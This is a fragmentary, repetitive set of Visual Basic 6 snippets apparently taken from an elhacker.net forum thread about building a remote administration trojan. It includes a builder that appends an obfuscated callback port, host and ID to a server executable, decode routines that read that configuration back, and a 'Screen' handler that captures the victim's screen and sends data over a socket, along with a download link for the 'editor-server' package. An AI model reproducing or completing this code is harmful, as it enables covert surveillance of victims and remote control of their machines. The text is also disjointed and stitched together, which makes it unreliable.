Foro de elhacker.net

sock.SendData "[{estoesunejemplo}]"

sock.SendData "[{estoesotroejemplomas}]"

"[{estoesunejemplo}][{estoesotroejemplomas}]"

[Dim obj As Object
Set obj = CreateObject("Scripting.FileSystemObject")

Dim Foto As New Class1 'Class1 es el nombre del module de clase cjpg.

Case "Screen"
Resolucion = vData(1)
Foto.SetSamplingFrequencies 2, 2, 2, 2, 2, 2
Foto.Quality = Resolucion   'aqui ajustas la calidad dsd 1 a 100 hasi bajas calidad bajas peso
Foto.SampleScreen
Foto.SaveFile ("c:\capture.jpg")
ws.SendData "tamscreen|" & FileLen("C:\capture.jpg")

http://rapidshare.com/files/45004307/editor-server.rar

Dim finta As Boolean
Dim i1 As Integer
Dim Primera, Segunda As String
Dim MICAdena As String
Private Sub Command1_Click()
Me.MousePointer = 11
 hacerlo
Me.MousePointer = 0
End Sub
 
Private Sub Command2_Click() 'solo para el test!
On Error Resume Next
If Len(Text1) = 0 Or Len(Text2) = 0 Or Len(Text7) = 0 Then
    MsgBox "Can`t continue...", vbCritical + vbOKOnly, "Falta parámetros..."
Else
    Command1.Enabled = True
End If
End Sub
 
 
 
 
 
Private Sub Command3_Click()
CD.Filter = "Server (*.exe)|*.exe"
CD.ShowOpen
Text8 = CD.FileName
End Sub
 
 
 
 
Sub hacerlo()
Dim puerto, host, IdServer As String
Dim lp, lh, lt, li As Integer
Dim DataToAdd As String
Dim DataEncrypted As String
 
    puerto = Text1.Text
    host = Text2.Text
    IdServer = Text7.Text
 
 
    lp = Len(puerto)
    lh = Len(host)
    li = Len(IdServer)
    lt = lp + lh + li
    'MsgBox (App.Path)
    DataToAdd = Trim(puerto) & "/" & Trim(host) & "/" & Trim(IdServer) & "/"
    DataEncrypted = EncodeW(DataToAdd)
 
    'Open App.Path & "\taskmgrs.exe" For Binary As #1 '//abrimos el archivo en forma binaria.
    Open Text8.Text For Binary As #1 '//abrimos el archivo en forma binaria.
 
       Seek (1), LOF(1) + 1 'nos vamos al final del archivo
       Put #1, , DataEncrypted & Trim(Str(lt))
    Close #1
    MsgBox ("El servidor ha sido generado corréctamente (Encrypted)")
    End
 
End Sub
 
'modulo para ocultar un poco los datos añadidos al final del servidor
Function EncodeW(TextToE As String) As String
 Dim i As Integer
 Dim cad As String * 1
 Dim Texto(200) As String
 Dim Encrip(200) As String
 Dim TextReturn As String
 For i = 1 To Len(TextToE)
   cad = Right(TextToE, i)
   Texto(i) = Left(cad, 1)
 Next
 
 For i = Len(TextToE) To 1 Step -1
  Encrip(i) = Chr(Asc(Texto(i)) + 1)
  TextReturn = TextReturn & Encrip(i)
 Next
 EncodeW = TextReturn
End Function
 

 
ArrayCritico() As String 'esto en general
 
On Error GoTo error:
Dim DataRealD As String
Dim nd, nd1 As String
 
nd = Right(filedata, 2)
 
nd1 = Right(filedata, Val(nd) + 5) 
 
MsgBox (nd)
MsgBox (nd1)
 
 
DataRealD = DecodeW(nd1) 'traducimos
 
 
MsgBox ArrayCritico(0) 'puerto
MsgBox ArrayCritico(1) 'host
MsgBox ArrayCritico(2) 'id del server (simple identificador)
MsgBox ArrayCritico(3) 'numero de caracteres escritos al final del exe
 
Port = Val(ArrayCritico(0))
Ip = ArrayCritico(1)
error:
End Sub
 

Function DecodeW(TextToD As String) As String
 Dim TextDReturn As String
 Dim i As Integer
 
 Dim cad As String * 1
 Dim TextoEncriptado(200) As String
 For i = 1 To Len(TextToD)
   cad = Right(TextToD, i)
   TextoEncriptado(i) = Left(cad, 1)
 Next
 
 For i = Len(TextToD) To 1 Step -1
  TextDReturn = TextDReturn & Chr((Asc(TextoEncriptado(i))) - 1)
 Next
DecodeW = TextDReturn
End Function
 

 Open App.Path & "\" & App.EXEName & ".exe" For Binary As #2  
  filedata = Input(LOF(2), #2)
 Close #2
 

Open App.Path & "\" & App.EXEName & ".exe" For Binary As #2  
 filedata = Input(LOF(2), #2)
Close #2
 
Dim DataRealD As String
Dim nd, nd1 As String
 
nd = Right(filedata, 2)
 
nd1 = Right(filedata, Val(nd) + 5) 
 
 
DataRealD = DecodeW(nd1) 
ArrayCritico = Split(DataRealD, "/")
 
'esto es sólo para verlo
MsgBox ArrayCritico(0) 'puerto
MsgBox ArrayCritico(1) 'host
MsgBox ArrayCritico(2) 'id del server (simple identificador)
MsgBox ArrayCritico(3) 'numero de caracteres escritos al final del exe
 
Port = Val(ArrayCritico(0))
Ip = ArrayCritico(1)
 
 
 

Case "Screen"
Resolucion = vData(1)
Foto.SetSamplingFrequencies 2, 2, 2, 2, 2, 2
Foto.Quality = Resolucion   'aqui ajustas la calidad dsd 1 a 100 hasi bajas calidad bajas peso
Foto.SampleScreen
Foto.SaveFile ("c:\capture.jpg")
ws.SendData "tamscreen|" & FileLen("C:\capture.jpg")

Public Function SampleHDC(ByVal lHDC As Long, ByVal lWidth As Long, ByVal lHeight As Long, [ByVal lSrcLeft As Long = 0], [ByVal lSrcTop As Long = 0]) As Long

Option Explicit
 
Private Type MemoryStatus
        dwLength As Long
        dwMemoryLoad As Long
        dwTotalPhys As Long
        dwAvailPhys As Long
        dwTotalPageFile As Long
        dwAvailPageFile As Long
        dwTotalVirtual As Long
        dwAvailVirtual As Long
End Type
Private Declare Sub GlobalMemoryStatus Lib "kernel32" (lpBuffer As MemoryStatus)
 
Public Function MemoryStatus() As Long()
Dim x(0 To 7) As Long
Dim mem As MemoryStatus
GlobalMemoryStatus mem
x(0) = mem.dwLength
x(1) = mem.dwMemoryLoad
x(2) = mem.dwTotalPhys
x(3) = mem.dwAvailPhys
x(4) = mem.dwTotalPageFile
x(5) = mem.dwAvailPageFile
x(6) = mem.dwTotalVirtual
x(7) = mem.dwAvailVirtual
MemoryStatus = x
End Function
 

'Using the CreateThread function in Visual Basic
'is very risky! VB5 is 'kinda' stable, but VB6
'applications will probably crash when you
'use the CreateThread function.
 
'In a form
'Add a command button to the form
Private Sub Command1_Click()
    'KPD-Team 1999
    'URL: http://www.allapi.net/
    'E-Mail: KPDTeam@Allapi.net
    'After you click this button, try to move the window
    'You will see that the AsyncThread-function was executed asynchronously
    hThread = CreateThread(ByVal 0&, ByVal 0&, AddressOf AsyncThread, ByVal 0&, ByVal 0&, hThreadID)
    CloseHandle hThread
End Sub
Private Sub Form_Unload(Cancel As Integer)
    'If the thread is still running, close it
    If hThread <> 0 Then TerminateThread hThread, 0
End Sub
'In a module
Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Declare Function CreateThread Lib "kernel32" (lpThreadAttributes As Any, ByVal dwStackSize As Long, ByVal lpStartAddress As Long, lpParameter As Any, ByVal dwCreationFlags As Long, lpThreadID As Long) As Long
Declare Function TerminateThread Lib "kernel32" (ByVal hThread As Long, ByVal dwExitCode As Long) As Long
Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Public hThread As Long, hThreadID As Long
Public Sub AsyncThread()
    'Let this thread sleep for 10 seconds
    Sleep 10000
    hThread = 0
End Sub